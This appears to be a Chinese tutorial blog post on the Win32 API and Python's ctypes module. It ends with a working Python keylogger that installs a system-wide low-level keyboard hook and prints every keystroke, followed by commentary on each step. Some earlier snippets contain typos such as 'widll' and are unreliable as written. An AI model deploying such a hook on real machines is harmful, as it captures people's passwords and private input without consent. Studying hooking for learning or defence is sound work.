python——Windows API和ctypes模块和实现键盘记录

一、关于Windows API。
Window API是微软提供的应用程序接口集合。开发应用程序时,需要通过API调用操纵系统(内核)提供的丰富功能。常用的32位Windows环境中,提供名为Win32的Windows API,开发人员可以直接调用这些Windows API。

Win32 API 最 具 代 表 的 D L L 库
分类 特征
kernel32.dll 提供对文件系统、设备、进程、线程等基本资源的访问功能
user32.dll 提供用户接口功能,包含创建、管理窗口,接受Windows消息,在屏幕上绘制文本,显示消息框
advapi32.dll 提供注册表、系统终止与重启、Windows服务启动/停止/创建、账户管理等功能
gdi.dll 提供对显示器、打印机及其他输出设备的管理功能
comdlg32.dll 提供文件打开、文件保存、颜色字体选择等标准对话框管理功能
comctl32.dll 支持应用程序访问操作系统的状态条、进度条、工具条等功能
shell32.dll 支持应用程序访问操作系统shell提供的功能
netapi32.dll 支持应用程序访问操作系统提供的各种通信功能

二、ctypes模块。
想在python中使用Windows操作系统提供的强大功能,必须通过调用Win32 API实现。而模块ctypes,可以在python程序中调用DLL,使用C语言的变量类型。

1.Windows环境下ctypes语法:
(1)加载DLL

x = windll.kernel32
y = windll.user32

(2)调用Win32 API
在DLL名称后指出要调用的函数名

windll.user.SetWindowsHookExA

也可以指出调用API时传递参数的数据类型。

printf = libc.printf
printf.argtypes = [c_char_p,c_char_p,c_int,c_double]
printf("String '%s', Int %d,Double %f\n", "Hi" , 10 , 2.2)

还可以指定函数的返回值格式

libc.strchr.restype = c_char_p

(3)数据类型
ctypes模块提供的数据类型,python可以使用C语言中的数据类型。如下面定义整型:

i = c_int
print i.value()

也可以声明用于保存地址的指针类型并使用。

PI = POINTER(c_int)

(4)指针的传递
通过函数的参数可以传递指针。

f = c_float()
s = create_string_buffer('\000' * 32)
windll.msvcrt.sscanf("1 3.14 Hello", "%f %s",byref(f),s)

(5)回调函数。
声明并传递回调函数,以便特定事件发生时进行调用。

def py_cmp_func(a,b)
	print  "py_cmp_func"
	return 0
CMPFUNC = CFUNCTYPE(c_int,POINTER(c_int),POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
widll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)

(6)结构体。
继承Structure类,声明结构体类

class POINT(Structure):
_fields_ = [("x", c_int),("y", c_int)]
point = POINT(10, 20)

2.ctypes和C,python中的变量类型对应表。

ctypes类型 C类型 python类型
c_char char 1-character string
c_wchar wchar_t 1-character unicode string
c_byte char int / long
c_ubyte unsigned char int/long
c_short short int / long
c_ushort unsigned short int/long
c_int int int / long
c_uint unsigned int int/long
c_long long int/long
c_ulong unsigned long int/long
c_longlong _int64或long long int/long
c_ulonglong unsigned_int64或unsigned long long int/long
c_float float float
c_double double float
c_char_p char * (NUL terminated) string或None
c_wchar wchar_t * (NUL terminated) unicode或None
c_void_p void * int/long 或 None

三、键盘钩取。
1.代码。

# -*- coding: UTF-8 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD



user32 = windll.user32      # (1)使用windll声明user32与kernel32类型的变量
kernel32 = windll.kernel32


WH_KEYBOARD_LL =13  # (2)变量声明
WM_KEYDOWN=0X0100
CTRL_CODE = 162

class KeyLogger:   #(3)定义类实现挂钩,拆钩功能。
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self,pointer): #(4)定义挂钩函数
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    def uninstallHookProc(self):    #(5)定义拆钩函数
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):  #(6)获取函数指针
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode,wParam,lParam):  #(7)定义钩子过程
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(0xFFFFFFFF&lParam[0])
    print(hookedKey)
    if (CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():    #(8)传递消息
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)

keyLogger = KeyLogger()    #(9)启动消息钩取
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
    print("installed keyLogger")

startKeyLog()
        

(1)使用windll声明user32与kernel32类型的变量.使用相应DLL提供的函数时,格式为user32.API名称或kernel32.API名称。
(2)在Win32 API 内部定义并使用变量值。
(3)定义类实现挂钩,拆钩功能。
(4)挂钩函数,使用user32 DLL 的 SetWindowsHookExA()函数设置钩子。监视事件为WH_KEYBOARD_LL(键盘钩子,用于截获系统热键),范围设置为操作系统的所有线程。
(5)拆钩函数,,使用user32 DLL 的UnhookWindowsHookEx()函数,拆除之前设置的钩子。
(6)获取函数指针,CFUNCTYPE()函数指定SetWindowsHookExA()函数所需的钩子过程的参数与参数类型。通过CMPFUNC()函数获取内部声明的函数指针。
(7)定义钩子过程,钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理。
若来到的消息时VM_KEYDOWN(键盘钩子,截获按健),则打印到屏幕;若是则调用拆钩函数。完毕后将钩链控制权让给其他钩子过程也就是CallNextHookEx()函数。ps:执行hookedKey = chr(lParam[0])语句时由于lParam[0]是C中long类型,python中的int型对于他来说太长了所以我们需要将它转换成对应的ASCLL码值再转换成字符串,改写语句 :hookedKey = chr(0xFFFFFFFF&lParam[0])
(8)传递消息,GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子。
(9)启动消息钩取,先创建KeyLogger类,然后调用挂钩函数设置钩子,同时注册钩子过程。最后调用传递消息的函数,将进入队列的消息传递给钩链。
2.测试。
在这里插入图片描述

成功钩取键盘输入!!!

展开阅读全文

没有更多推荐了,返回首页